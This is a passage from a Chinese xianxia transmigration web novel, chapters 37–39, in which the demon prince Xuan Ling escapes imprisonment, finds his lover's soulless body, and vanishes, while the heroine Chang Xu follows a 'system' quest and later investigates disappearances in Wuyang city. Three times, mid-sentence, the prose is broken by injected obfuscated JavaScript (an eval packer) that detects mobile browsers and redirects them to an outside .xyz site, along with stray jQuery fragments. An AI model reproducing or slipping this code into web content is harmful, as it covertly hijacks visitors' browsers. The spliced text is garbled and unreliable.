电光石火间，他几乎下定决心不再压抑，想要催动最熟悉也最强大的魔气，杀了眼前之人，冲出这座烦人的牢笼。 他本是无所顾忌的魔族，何须受人族束缚！ 然而下一刻，另一道身影浮现在宣凌的脑海。 裳儿……他与她约定好的，道清大会后，便同往昆山——他在人界唯一与血脉相连之地。 曾经许下的美好愿景不可思议地抚平了宣凌心中狂澜。 他缓缓垂首，又变回那副虚弱模样。 唐宏一直守至夜深，仍寻不到半分魔气痕迹，终于没了手段，低声喃喃道：“难道他当真不是魔族？” 身旁弟子见宣凌似乎已经失去意识，小声请示：“唐长老，还要继续审讯吗？这人被掌门封住经脉，如今与凡人无异，已经两日水米未进了，再这样下去恐有性命之忧。” 唐宏一心想着是否抓错了人，随意地摆摆手：“我一会儿要与掌门商议，你们就先给他弄些吃食吧。在事情未明之前，还不能把人弄死了。” “是。” 石门缓缓闭合，房间内恢复了寂静。 值守弟子轻轻叹了口气，对同伴道：“你去寻些吃的来吧，我先放他下来，看能不能叫醒唤醒。” 同伴有些不放心：“你一个人留在这里，不会有事吧？” 那弟子不以为意：“怕什么？他被掌门封了经脉，就算真是魔族，此刻怕是连杀鸡的力气都没了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362926|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 很快，房内只留下了他们两人。 值守弟子站在宣凌身边，口中念念有词，伴随着灵力环绕周围，束缚的锁链应声脱落。 几乎就在同时，宣凌猛然睁眼，染血的指尖银光乍现，直取弟子咽喉—— “殿下，是我！” 扭断脖子的前一刻，那弟子的口中发出了熟悉的声音，看向宣凌的目光流露出真切的担忧。 是墨宁。 宣凌无暇去想本该守在焕山的墨宁为何现身于此，方才一击已耗尽他最后灵力，压制的魔气再也控制不住，随即涌现。 紧接着，脚下的阵法亮起微光，阴寒灵力如刀割般灌入宣凌的四肢。 “快走。” 简短的吩咐过后，他再度陷入了昏迷。 墨宁心知宣凌的身体已至极限，此地不宜久留，当即二话不说，背起他快步走出罗狱。 待另一名弟子返回之时，两人早已借着夜色悄然逃出了玉霄城。 一个时辰后。 偏僻的客栈内，宣凌刚从床上醒来，墨宁就迫不及待地说：“殿下，我已经通知季姑娘了，他们很快就会赶过来。您伤势不轻，又被人族盯上，还是随我们回危冥山吧。” 宣凌却没有回答他，而是动了动手臂，看到黑气浮现，才感应到体内的魔气已然复苏，力量正逐渐回归。 “段巍的禁制压制了您的灵力，他手法古怪，我只解得开一半。” 墨宁便解释完，见宣眉宇紧锁，又宽慰道，“回了危冥山，归弥长老定能彻底化解，您先歇息，等季姑娘他们……” 宣凌打断了他的话，不顾阻拦强自下床：“我要回永川镇。” 墨宁不赞同道：“天元宗的人必定在四处搜捕您。殿下身上有伤，加之魔气外泄，此时外出只怕会招来麻烦！” 可宣凌充耳不闻，径自离去。 墨宁十分无奈，自知拗不过这位殿下，只得取来斗笠戴上，小心护在身后。 宣凌明白，经此一事过后，自已再难留于人界。他更知道，自己早该回去危冥山了。 可他还是来到了永川镇，站在那座熟悉的院落外。 经过一夜的奔走，宣凌周身的魔气显露更多。好在清晨时分街上人迹稀少，此处又多是凡人，难以察觉魔息，这才不必担心暴露。 即便如此，仿佛怕惊扰了谁一般，宣凌仍让墨宁助他压制气息、掩去血痕，才抬手叩响门扉。 墨宁望着殿下这般小心翼翼的模样，暗自咋舌，这院里住的究竟是何方神圣，竟让殿下如此珍重？ 二人等待半晌，门内却没有丝毫回应。 过了一会儿，邻院一位阿婆探出头来，嘟囔道：“别敲啦！找裳儿是吧？她早走啦，都好些天了，你不知道吗？” 宣凌目光一沉，“哐当”一声推门而入，踏着满地落叶走进院中。 果然，院中的桌上挂着一层灰尘，正对着的房门也已落了锁，昭示着人去楼空的现实。 墨宁听到“裳儿”二字这个名字，想到焕山曾在宣凌身边看到的两个姑娘，才琢磨明白殿下来此是为了什么。 看样子，那姑娘似乎已经离开了。 宣凌一言不发站在原地，掌心渐渐聚拢金色的光芒。 墨宁愣了一下，随即认出那正是红丝契，不由得大为震惊，连忙道：“殿下！您有伤在身，不宜再耗费灵力了，快停下——” 不等话说完，宣凌的身影已然消失在了原地。 墨宁头疼地揉了揉脑袋，又怕他出什么意外，只得顺着魔气的感应也跟着寻了过去。 红丝契将宣凌带至一处山洞，鹅黄色衣裙的少女静静卧于石榻之上，紧闭双眼，仿佛只是睡着了。 “裳儿？” 然而，无论他如何呼唤，都无法叫醒她。 宣凌俯下身，轻柔地将少女抱起，侧身抵在她的心口，等了很久、很久，未能听到哪怕丝毫的回响。 没有呼吸，没有心跳，甚至没有魂魄。 这具身体空空如也。 37. 第三十七章 真相 当墨宁与季聆雪等人寻到宣凌的时候，他正立于一处幽深的山洞中，静静凝视石榻上无声无息的少女。 “医馆的人都说，她已经死了。” 良久，宣凌低声开口，苍白的手指轻轻拂开少女额前的碎发，细致描摹她清丽的眉眼。 不过短短数日，未曾料想，再次重逢竟会是如此情况。 宣凌其实已经隐约察觉到了什么，却不愿去想，只固执地将仅剩的灵力渡入她体内，仿佛这样便有机会将她唤醒。 一旁的季聆雪并不愿意看他这般模样，忍无可忍地开口道：“殿下，属下斗胆，您不愿回危冥山，就是为了这个女人，对吗？您可知她究竟是什么人？” “你说什么？” 宣凌面无表情地转过头，幽深的瞳孔空洞而麻木。 季聆雪打了个手势，后方的高羡麟立即押上一人。 那是个约莫四十岁的中年男子，颤巍巍跪在地上，不住磕头，连声讨饶。 “此人名叫胡三，我已查清，当初正是他向剪命人出卖了金蝶山庄。”季聆雪道，“殿下，听说这位裳儿姑娘也出自金蝶山庄，您不妨问问他，可知道些什么。” 不待宣凌发问，名为胡三的男人扯着嗓子慌忙喊道：“饶命啊！小人真的不认识什么裳儿！金蝶山庄根本没这号人物啊！求求你们大发慈悲放了我吧——” 宣凌伸手掐住胡三脖颈，将他整个人提起，拽到石床旁边，声音冷静得近乎淡漠。 “看仔细。” 胡三喘不过来气，拼命挣扎，却难以撼动那只手分毫，只得艰难地扭过头望向少女，颤声道：“不、真的不认识……她不是……” “这样啊。” 宣凌垂下眼帘，轻声说道。 魔气缠绕着他的手臂，自胸口蔓延蔓延而出，夹杂猩红的血光，像是游走的蛇，笼罩了胡三全身。 “不、救命——” 胡三惊恐地瞪大双眼，表情扭曲，痛苦至极，却很久发不出半点声响。 暴烈的魔气顷刻间侵蚀了他的躯体。 待宣凌松手，面前只剩下一缕飞散的黑烟。 高羡麟许久未见宣凌这般模样，想起初遇之时的可怕情形，不由得浑身一颤，低头屏住呼吸，生怕下一个就轮到自己。 王乌却十分兴奋，扑打翅膀飞到宣凌身旁，迫不及待告状：“殿下！我早就说这女人有问题！她一直在骗你！不信你问高羡麟！” 看到宣凌扫过来的冰冷目光，高羡麟硬着头皮说:“王乌大人说的没错，属下这段时间一直派人保护裳儿姑娘，他们都说裳儿姑娘古怪，除非您去，否则她根本足不出户，十天半个月不见人影……” 王乌道:“哪有人类这样的！我看啊，她分明是故意接近殿下，没安好心！” “殿下，事已至此，您该明白这女子并非善类。”季聆雪道，“恕我直言，您为这样的人留在人界，并不值得，是时候回危冥山了。” 宣凌注视着少女如空壳般的身躯，刚刚杀过人的手抚上她纤细脖颈。 “既然是骗子，为何不一直骗下去？” 只要他微微用力，便能将这句脆弱的身体彻底摧毁。 下一刻，宣凌目光一凝，附身拨开少女衣领上的发丝，看见后颈处一道淡青色花纹，隐隐泛着微光。 季聆雪随他视线望去，意外道：“这东西有几分眼熟，好像在哪里见过……难道是奉月族？” “确实是奉月族印记。” 墨宁对此了解更多，给出了肯定的回答，而后恍然大悟，抚掌道，“原来如此！我怎么就没想到呢，这姑娘是奉月族，定然体质特殊，所以才会即便失了魂魄，依然能够呼吸如常。想来她的魂魄另在别处。” 宣凌指尖抚过那道花纹，轻声道：“真巧啊，我在别处也见过这样的印记。” 季聆雪道：“嗯？这倒奇了，据我所知，人界的奉月族早就避世隐居起来了，极为罕见，殿下竟还遇过另一位？” 宣凌扯了扯嘴角：“是啊，我的运气什么时候变得这般好了，连我自己都不知道。” 墨宁反应过来：“殿下的意思，您已经见过这姑娘的真身了？” 宣凌没有回答。 沉默了片刻以后，他说：“我要回苍华派一趟。” 季聆雪皱眉：“殿下，您的魔气尚未稳……” “无碍。”宣凌目光复杂，隐隐带着几分森然，“临走之前，我还有些话，要同我的好师姐说清楚。” * 苍华派，云上阁。 天元宗的人在宣凌逃脱后没多久，便气势汹汹赶来不息山，质问是否苍华派暗中将人救走，一副兴师问罪的模样。 常栩对此根本一头雾水。 原著写得清清楚楚，宣凌被天元宗关押之后，因为不堪受辱，很快就便暴露了魔族身份，直至岳婉吟出事才终于逃脱—— 这剧情发展怎么差这么多？ 不过，虽然心中困惑，面对天元宗哦质问，常栩并未退让，没等对方说上几句，就理直气壮地说:“宣凌是否真是魔族尚无定论，我将他交给天元宗，却在你们手里失踪，难道不是你们的疏失吗！” 天元宗素来颐指气使惯了，以为苍华派也会唯唯诺诺，何曾见过这般不客气的？ 来人一时语塞，实在说不过，最终只得悻悻离去，只留下一句话：“若是有宣凌的消息，还望贵派及时告知。” 送走天元宗的人，常栩脸色顿时沉了下来，在云上阁中来回踱步，思考可能的情况。 宣凌在天元宗定然受了不轻的伤，绝无独自逃脱的可能，一定是魔族之人出手相救，大概率是季聆雪。 常栩回想当初她们二人定下筹谋之时，季聆雪就说，她是为了让宣凌下定决心回危冥山。 可是不该是现在。 若宣凌这么早就被她们带回危冥山，剧情还怎么走下去！ 常栩心下焦急，又不知道该去哪里找人，思来想去，还是打算从岳婉吟入手，也许宣凌会找机会见她一面…… 正想着，云上阁外忽然传来一阵急促的脚步声。 随后，房门被从外面推开。 常栩闻声抬起眼睛，看到那道熟悉的身影，一瞬间以为自己看错了。 逆着阳光，宣凌一步一步、安静地走到她面前，缓缓开口道：“师姐有在找我吗？” 少年的脸上挂着一如既往的温和笑意，只是此时此刻，有些格格不入。 常栩短暂愣了一下，随即反应过来，快步走到门口，对外面的弟子吩咐：“守好山门，今日之事绝不能外传！” 明曦实在不理解眼前是何情况，但见她神色凝重，也没敢多言，连忙应下。 “明白了，师姐。” 常栩这才关上门，回头细细打量宣凌，察觉他身上鲜明的血腥气，心头不由一动。 难道已经杀过人了？ 宣凌迎着她的目光，幽幽道：“想不到短短几日，师姐竟成了苍华派的新任掌门，恭喜。” 常栩皱眉道：“天元宗的人才刚离开，你就这样出现，太危险了。” 宣凌问：“师姐很怕别人知道我回来了？” 常栩听出他话中的怨气，察觉到自己反应过度，轻咳一声，解释道：“你私自逃回，天元宗绝不会善罢甘休，只怕会惹来麻烦。” 宣凌注视着她：“那师姐会护着我吗？还是打算再将我交出去？” 常栩也在犹豫。 不过在思索片刻之后，就想明白了，眼下虽然出现这样的意外，宣凌魔族身份未曝，又提前回了苍华派，但好像并不影响她的任务—— 毕竟，她只需在剧情点到来时杀掉岳婉吟，刺激宣凌堕魔即可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362927|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么看来，似乎没必要多此一举将宣凌交还给天元宗。 于是常栩道：“你既然回来了，我自然不会再将你推出去任他们磋磨。只是当时之事尚未查明，你须得先去禁地避一段时日，免生事端。” 末了，她还特意补上一句:“我会想办法把岳婉吟叫过来。” 自认这安排足够让宣凌满意，他确似乎无动于衷，只淡淡道：“谨遵师姐安排。” 如果是平日，常栩一定会发觉宣凌的状态与平时大为不同。可眼下变故频发，又任务在即，她没来得及多想，忙不迭安排下一步行动。 几日之前，谢千景闭关，常栩成为代掌门，此事来的突然，加之道清大会上的变故，苍华派众人免不得有诸多议论。 好在，得益于她早已接手派务，又有两位长老支持，门中大体还算平静——至少表面如此。 有关宣凌的事情虽然没有人主动提及，却如一片阴云笼罩在众人心头。 常栩不想在关键时刻横生枝节，惹出不必要的麻烦，因而第一时间封锁了宣凌回来的消息，连庚微与穆蘅都未察觉。 又过了一日，常栩听得弟子通传岳婉吟到访，便知道，剧情仍在既定轨道上发展着。 与此同时，耳边响起系统的提示音：【剧情点：杀害宣凌所爱，促使他黑化堕魔！请宿主在一天之内完成任务。】 岳婉吟自然是因宣凌之事而来。 她听闻了道清大会上发生的事，并不信他是魔族，便不顾师门阻拦，独自一人来到了苍华派，想与众人一同商议如何将人救出来。 出乎她意料的是，常栩似乎并不着急，只叫她稍安勿躁，先在竹月轩住下。 韩尚同跟随在一旁，他心中也不放心宣凌，但出于对常栩的信任，还是一起劝岳婉吟留下来，从长计议。 岳婉吟不明所以，满心困惑地随韩尚同离开。 常栩最后做的安排，是下山去往永川镇一趟。 按原文设定，岳婉吟被杀之后，宣凌会因压制不住魔气而失控，从天元宗到苍华派的一路上，堪称神挡杀神、佛挡杀佛，尤以永川镇受灾最重。 现下虽然情况有些出入，但为了安全起见，常栩还是打算在行动前再去看一看裳儿。 毕竟，先前因为赶时间，她就只随便找一处山洞，未加太多防护，并不算安全。 趁着夜深人静，常栩悄然找到山洞，检查裳儿的身体保持良好，便着手布置更为复杂的阵法，保障此处山洞安全无虞。 做好这些之后，终于放下了心，满意地点点头，随后快步离去。 她来去匆忙，没能察觉地上多出的许多痕迹，更未能注意到，就在墙壁的高处，一块银色的玉石正清晰地映照着山洞内的一切。 一切安排妥当之后，常栩回到不息山，准备今天晚上就对岳婉吟下手。 宣凌逃回苍华的消息瞒不了多久，为免夜长梦多，她需要尽快完成任务。 就在常栩在昀秀峰阴暗地磨刀霍霍之时，平地惊雷般，系统的声音突然出现： 【恭喜宿主完成任务！您获得50点羁绊值！】 常栩：“……” 什么东西？ 她以为自己幻听了，反复询问好几遍，又看了眼手中雪亮的刀，大为不解。 不对啊，可还没杀岳婉吟呢，任务怎么就完成了！ 系统看起来也不清楚具体是怎么个情况，只道：【没有错，任务确实已完成了……】 由于太过意想不到，常栩愣了好半天，才想到什么，一把将刀扔到地上，匆忙推门而出，御剑赶往软禁宣凌的鸣鹤谷。 然而，空无一人。 接下来的几天，常栩里里外外将苍华派寻了个遍，连岳婉吟的竹月轩前往查找，还是没能找到宣凌。 只在昀秀峰外的某处角落，发现了一块破碎的银色玉石。 38. 第三十八章 算命道士 宣凌就这么失踪了。 这一段剧情至关重要，常栩做足了准备，生怕行差踏错，谁知任务竟自己完成了？ 简直如同像人刚坐到考场上，题都没开始答，就被宣布考了一百分一样！ 常栩心里一点也不踏实，接连数日惴惴不安，总担心已经堕魔的宣凌会从哪个角落突然冒出来生事。 为此，她甚至专门派出弟子协同天元宗一同搜寻宣凌，最终却一无所获—— 就如同人间蒸发一般。 一个月之后，宣凌依旧踪迹全无，连天元宗都撤回了搜寻人马。 直到这时，常栩才慢慢反应过来：宣凌也许已经回危冥山了。 没有如原著那般大开杀戒，而是悄无声息地离开了。 所以说，到底是发生了什么？ 常栩百思不得其解，揪着系统连连质问：她明明还没对岳婉吟下手，好端端的，宣凌怎么就堕魔了！ 系统却只说既然任务已经完成，具体情况可以不必深究。 常栩：“……” 不是，这么随意的吗？ 常栩不禁对这破系统的可信度又多出几分怀疑。 可无论她如何追问，系统都摆出“别想太多”的姿态，坚称一切功能运行正常、并无不妥，让她安心。 既然它都这么说了，没办法，常栩也只能按下心中忐忑，接受这莫名其妙的局面。 转眼就过去了一年。 这一年来，整个修真界风平浪静，无事发生。 苍华派这边，在常栩的带领下，加上有韩尚同这个男主的助力，实力稳步提升，即便未加入道清盟，也已然跻身大派之列，再无人敢小觑。 这正是原著中许长生梦寐以求的景象。 常栩虽然没有那么深的执念，但眼见门派日益壮大，听着弟子们恭恭敬敬唤她“师姐”，下山时迎上百姓敬仰的目光…… 嗯，不得不承认，这种走上人生巅峰的感觉，确实十分舒坦。 更重要的是，没了系统任务的束缚，常栩总算体会到身为穿越者的乐趣了，大权在握、说一不二，偶尔下山四处游荡一番，好不快活。 唯一让她放心不下的，就只有不知道什么时候再次出现的宣凌了。 简直如同悬在头顶的达摩克利斯之剑，一旦落下，她作为“许长生”的好日子也就到头了。 这日，常栩正闲坐在昀秀峰品茶赏花，刚下山完成一趟任务的沈星河前来复命。 一年多来，庚微和穆蘅渐渐归于幕后，苍华派的大小事皆由他和陆小满二人共同辅佐，早已成为她的得力助手。 常栩习惯问起可有宣凌消息，见他仍如往常般摇头，并不意外，摆手道：“行，我知道了。此番辛苦你了。” 闻言，沈星河的神情有些复杂。 从他的角度来看，常栩这一年来可谓时刻记挂着宣凌，不但隔三差五就亲自带人下山寻找，偶尔见到对方的旧物，还会感叹一句“走得太匆忙”。 如此深厚的情感，宛如同一道厚实的强，远远地将沈星河隔开。 似乎任凭他怎么努力，都仿佛无法走进常栩的心。 这让他心中不由自主地感到失落。 常栩并没察觉到沈星河的这番心思想，若知道了，必会大呼冤枉—— 这哪是牵挂？分明是千日防贼！ 她纯粹是怕宣凌哪天突然跳出来取她性命，小心提防罢了！ 沈星河收拾好心情，转而提起另一事：“韩师兄，也随我一同回来了。” 自道清大会那一番变故之后，韩尚同很少回到不息山，多处时间都在游历，机缘不断，修为也突飞猛进，已然在修真界闯出不小名头。 听到他回来了，常栩的第一反应是头大。 这一整年，她都在有意避开韩尚同。 不为别的，只因按照原著剧情，此时此刻，许长生该找他逼婚了！ 可剧本和现实根本不一样，眼下岳婉吟活得好好的，和韩尚同一对小情侣、蜜里调油，她这个师姐，就算想趁虚而入也没机会啊！ 好在，或许是因为这不是必要的剧情点，系统并未主动提及，常栩也就闭上眼装不知道，当没这回事，尽量避免与男主接触。 常栩“哦”了一声，道:“你去告诉韩尚同，不必来见我了。外出这么久肯定辛苦，还是让他先休息吧。” 沈星河的神色却有些微妙：“应该不成。那边出了点事，师姐还是去看看吧。” “嗯？怎么了？” “韩师兄带了一位天元宗的人回来。” 常栩挑眉，随即了然。 当初她封锁了宣凌回来的消息，天元宗——包括苍华派的弟子们，都以为他是在天元宗失踪的，因而颇有微词，认准是他们害死了宣凌。 天元宗作为大门派，自是不愿背这骂名，几次三番派人前来理论，试图说明宣凌是自行逃走，以此撇清责任。 可说到底，他们拿不出宣凌是魔族的证据，还将人弄没了，根本不占理。 苍华派的人在常栩的带领下，也不给他们面子，有时会说的比较尖锐。 一来二去，两派关系便有些僵了。 今天这韩尚同带开天元宗的人，底下弟子们见了，估计又要惹出些争执。 常栩身为掌门，不能坐视不理。 当她踏入云上阁之时，最先看见了韩尚同。 半年多不见，韩尚同的身姿愈发挺拔，模样也更加成熟稳重。 只是再没了当初令常栩“一眼荡魂”的惊艳感了。不知是男主光环减弱，还是她抵抗力变强。 在场除了韩尚同之外，还有一名许久未见之人，正是江霓。 这姑娘不知从哪里修行归来，身量高了些，看上去有些纤瘦，脸蛋却仍圆圆的，皱着眉头不知想些什么。 堂上，一名天元宗服饰的男子正对陆小满道：“我与韩兄乃旧识，此番前来苍华是有事相求，姑娘何故如此大敌意？” 陆小满冷哼一声：“你们天元宗何时看得起我们了？说是来求助，别到时候又诬陷我派弟子是魔族，弄得人生死不明！” 韩尚同无奈劝道：“小满，玉川当时确不在天元宗，宣凌之事无他无甚干系，莫要迁怒。” 陆小满撇撇嘴：“谁知他安的什么心。” “不知天元宗所为何事？” 常栩开口询问，众人见她来了，纷纷噤了声止住争执，恭敬行礼。 韩尚同道：“师姐，这位是天元宗的大弟子展玉川。因前日巫阳城发生坏事，他想让苍华派前往援助。” 展玉川是个二十五六模样的青年，面如白玉、仪态优雅，倒很符合天元宗气质。 见到常栩，他的眼中掠过一丝讶异，很快又掩盖下去，只道：“天元宗展玉川，见过苍华少掌门。” 常栩示意陆小满等人稍安，而后问道：“具体发生了什么？” 展玉川见她心平气和，并无敌意，便也老实交代，将事情原委娓娓道来。 此事说大不大、说小不小。 自一月前起，巫阳城内接连有女子失踪。 这种事情，按理该由当地相关门派调查处理，偏偏这地方处于南玄派与伏幽派地界的交界，向来摩擦不断。 这不，前两天，两派为谁该负责、谁主导此事争执不下，甚至闹到天元宗。 伏幽派声称因为南玄派是道清盟成员，怕天元宗偏帮，要求派一个与南玄派没什么关系的门派介入此事，否则并不答应。 于是天元宗就想到了苍华派。 展玉川顺便提到，青离宫的岳婉吟前些日子也到了巫阳城。 “为此，我才想邀韩兄同去。可他说需要先回师门请示，故我二人一同前来。” 常栩心下一动，情绪有些复杂。 这非是原著剧情。 岳婉吟没有死在一年之前，依旧好好活着，是青离宫的下一任掌门。 事到如今，常栩已无法判断，这个世界是否仍按原著逻辑走，更不知宣凌是否还会如期杀她为岳婉吟“报仇”。 抛开这些，不管怎么说，人活着总是好的。 原著中男女主经历了大半本书的生离死别，直至结局才得以短暂重逢，作为读者，常栩现在想来仍觉胃疼。 既然活着，就好好谈恋爱吧。 常栩如此想着，对韩尚同道：“我知你一直念着岳婉吟。正好我最近也想下山一趟，就与你一同前去吧。” 她又看了眼其他人，见江霓一副跃跃欲试的模样，意外道:“你也想去？” “嗯！我修炼太久了，还没做过什么任务呢！我想试试看！” 常栩想到她上次那番哭爹喊娘的模样。不由得失笑，点头道:“可以。” 因这并不算什么大事，没必要去太多人，除了韩尚同和江霓，常栩就只带了几名新入门弟子，留下陆小满与沈星河代为打理事务。 一行人很快收拾妥当，同展玉川一起下了山，御剑飞行，不多时就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362928|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶到了巫阳城外。 甫一进城，常栩就看到两路服饰不同额人马在街边争执不休。 正是南玄派和伏幽派之人。 常栩停下脚步听了片刻，明白了来龙去脉。 说来也是这两派之人不靠谱，只因失踪者多为女子，他们便以为是采花贼作祟，商讨半天，想出个“钓鱼执法”的计策。 就在昨日，两派各派出五名女弟子，乔装入城四处走动。 还别说，效果确实立竿见影，今早清点人数一看，南玄派的人发现，他们少了一名女弟子。 结果，顺着这名弟子的行动轨迹，他们却只找到城门口的一位算命先生。 巫阳城历史悠远，素有占卜相面的习俗，城内算命道士随处可见，几乎成为一大特色。 这实在算不得什么疑点。 那道士打死不承认和自己有关，只说自己就是个普通算命的，“城内来往女子不少都来我这算过卦，怎能说我有问题？” 线索至此便断了。 因失踪的是南玄弟子，南玄派的聂长老便指责是伏幽派出的馊主意害人失踪。 伏幽派自然不服，为首的洛执剑反呛说，明明是南玄负责暗中保护，却玩忽职守，害了自己人！ 这两帮人吵个没完，常栩可算知道天元宗为啥要找人介入了，否则一年也结不了案。 她没理会他们，径直走到那算命先生面前，冷不丁问道:“你做这个算命行当多少年了？” 道士回答:“十几年了吧。” 常栩却摇头说：“我看不像。” 道士轻蔑一哼：“你这姑娘有是何人，怎么空口就冤枉好人？告诉你，老夫这十年来我日日在此摆摊，你问问巫阳百姓，谁不认得我？” 一旁百姓纷纷点头:“这位道长在此多年，每日画符写经、以桃木剑驱邪避灾，绝非可疑之人，定是仙长们弄错了。” “是啊，你们抓不到坏人，可不能随便愿望我们巫阳城的百姓啊！” 常栩轻笑一声：“可我瞧着，这位道长的手，并不像常年握剑写字的样子。” 道士闻言脸色骤变，下意识将手缩入袖中。旁边的韩尚同眼疾手快，一把抓住，摊开在众人面前—— 只见他双手白软，中指指尖干净，无一丝执笔压痕或墨渍，腕上也没有道士惯有的法印红绳勒迹。 旁观的百姓定睛一看，讶异道：“哎？这可奇怪了！我分明记得道长手上原是有层茧的！” 常栩道：“这当然是因为，脸皮能换，手却不好换啊。” 道士见事情败露，挣扎着想要逃走，却没办法摆脱韩尚同的钳制。 南玄与伏幽派的人也反应过来，这道士果然有问题！ 于是双方再顾不上争吵，示意弟子将人捆起来。 “果然是个假货！快说，你究竟何人，有何目……” 话音未落，那算命先生忽地捂住胸口踉跄倒地，面皮浮现出极其古怪的神情，嘴歪眼斜，仿佛不受控制。 不待众人反应，一道红光闪过，他身体竟当场碎裂！ 围观百姓哪里见过这种场面，惊呼四散，只留查案的修士们。 江霓查探一番，神情凝重:“是亡命咒术。” 此类阴邪咒术，绝不该出现在一场寻常的采花贼事件中。 道士背后，恐怕还有藏的更深的幕后主使。 南玄与伏幽派都意识到此事绝不简单，立即吩咐弟子封锁巫阳城、排查城内数百名算命人，绝不能容他们逃走或自毁。 这之后，展玉川才有机会向两派介绍常栩等人的身份。 伏幽派的洛执剑听闻常栩身份，神色有些奇怪，问道:“我派中有位师姐于一年前失踪，不知苍华派可曾听闻。” 常栩说没有，隐约觉得对方话里有话，似乎还有几分莫名的敌意。 江霓跟随查探城中情况，回来之后面色十分难看。 她以死去道士的尸体为媒介，探查附近与之相似的气息，结果显示城内竟有半数道士已被替换！ 情况似乎有些严峻。 韩尚同环顾四周，还是没忍住问道:“可曾见到青离宫的岳婉吟？” 江霓摇摇头。 南玄派的聂长老说道:“岳姑娘是前日来的，此时应放在客栈休息——” 这时，东北方向突然传来一声巨响。 片刻之后，有南玄弟子匆忙来报： “不好了！有人袭击了客栈，岳婉吟被抓走了！” 39. 第三十九章 特殊功体 客栈内一片狼藉。 常栩与韩尚同推门而入，一眼就看见岳婉吟的云留琴横倒在地，琴弦断了好几根，显然经历过一场恶斗。 随后赶到的展玉川面露惊诧：“听闻岳婉吟已是青离宫下任宫主候选了，实力不俗，究竟发生何事，怎会轻易被人掳走？” 南玄派的聂长老苦着脸连连哀叹：“完了完了，这下可闹大了！青离宫的继承人竟在我们眼皮底下被抓，这可如何交代！” 韩尚同注意到琴弦上沾着的血迹，当即就要将城中所有道士抓来审问，被常栩伸手拦下。 “冷静些。” 韩尚同握了握拳，终究压下了冲动。 常栩在脑中询问系统：“这是怎么回事？是有新剧情？还是因为原著里岳婉吟此时本该沉眠，这个剧情bug被自动修正了？” 【据我所知并没有这种功能。】系统回道，【此处虽是个小说世界，却自行运转如常，系统并非神明，无从插手。】 既然不是系统设定，那便是人为的了。 常栩沉吟片刻，忽然想到什么，转向南玄与伏幽派的人：“你们说，那些失踪的女子都有什么特征？” 聂长老回答：“你方才也瞧见了，她们只有一个共同点，就是都曾在失踪前找道士算过卦。” 常栩摇头：“不对，这只是过程而已。你们派出十名女弟子，唯独有一人被抓，再加上如今失踪的岳婉吟，她们之间定有别的共通之处。” 江霓马上想到：“素心诀……对，我记得岳姑娘的素心诀十分特殊，唯有纯阴之体方可修炼。” “纯阴体？” 展玉川反应极快，立即派人去查，不久便得到证实：失踪的那名女弟子确是纯阴体质。 竟有人专在巫阳城内盯上纯阴之体？ 得知这一发现，众人皆感到讶异。 盖因纯阴体虽不算常见，却也不是什么稀世功体，至多不过修习某些功法时略有助益罢了，这才能第一时间察觉。 江霓纳闷道：“我从未听说这体质有何特别价值。” “若说价值，那还得是奉月族才算世所罕见。”聂长老叹道，“可惜他们投靠了魔族，二十年前人魔大战后族长身亡，如今就连危冥山中的奉月族人也所剩无几。” 常栩没有接话，心想不巧，区区在下正是奉月族。 伏幽派的洛执剑突然高声反驳：“不对！你们一定弄错了。我师姐也失踪了，她可不是纯阴体！” 聂长老啧了一声：“这位仁兄，我早就想说了，巫阳城女子失踪是近半年的事，你师姐失踪已一年，明显与此事无关，你们根本就是找错地方了！” 洛执剑脸色一阵红白，仍嘴硬道：“怎会无关？我们伏幽派还有其他弟子在巫阳城失踪——” “哦？是吗？”聂长老语带讥讽，“那为何你们从头到尾只关心那位师姐的下落？如此心心念念，我看是另有所图吧？” “你！” 眼看这两人又互不相让，又要争执起来，展玉川强行打断：“二位，眼下正事要紧。” 聂长老和洛执剑这才停止斗嘴，各自冷哼一声别开脸。 展玉川沉吟道：“只因纯阴之体多为女子，我们先前才找错了方向。原以为是采花贼之流作案，如今看来，却是没那么简单。” 韩尚同道：“既如此，须尽快设法擒住那群道士，从他们口中问出失踪者的下落和幕后主使。” “说得轻巧，你不怕他们又突然爆体而亡吗？” 洛执剑凉凉说道。 这确实是一件难事。即便是江霓这般精通诡术之人，面对这等陌生咒术，短时间内也找不到解决之法。 一筹莫展之际，忽然，众人同时感应到一股力量自不远处的街道传来，紧接着便是一片凄厉的尖叫。 常栩、韩尚同与展玉川第一时间飞身掠出，刚落在街上，眼前便是血腥至极的场面—— 分散在街道两旁的几十名道士相继倒地，有的痛苦翻滚，有的失控暴起伤人，还有不少人当场自爆，横飞的血肉溅了周围百姓一身，引发难以控制的恐慌。 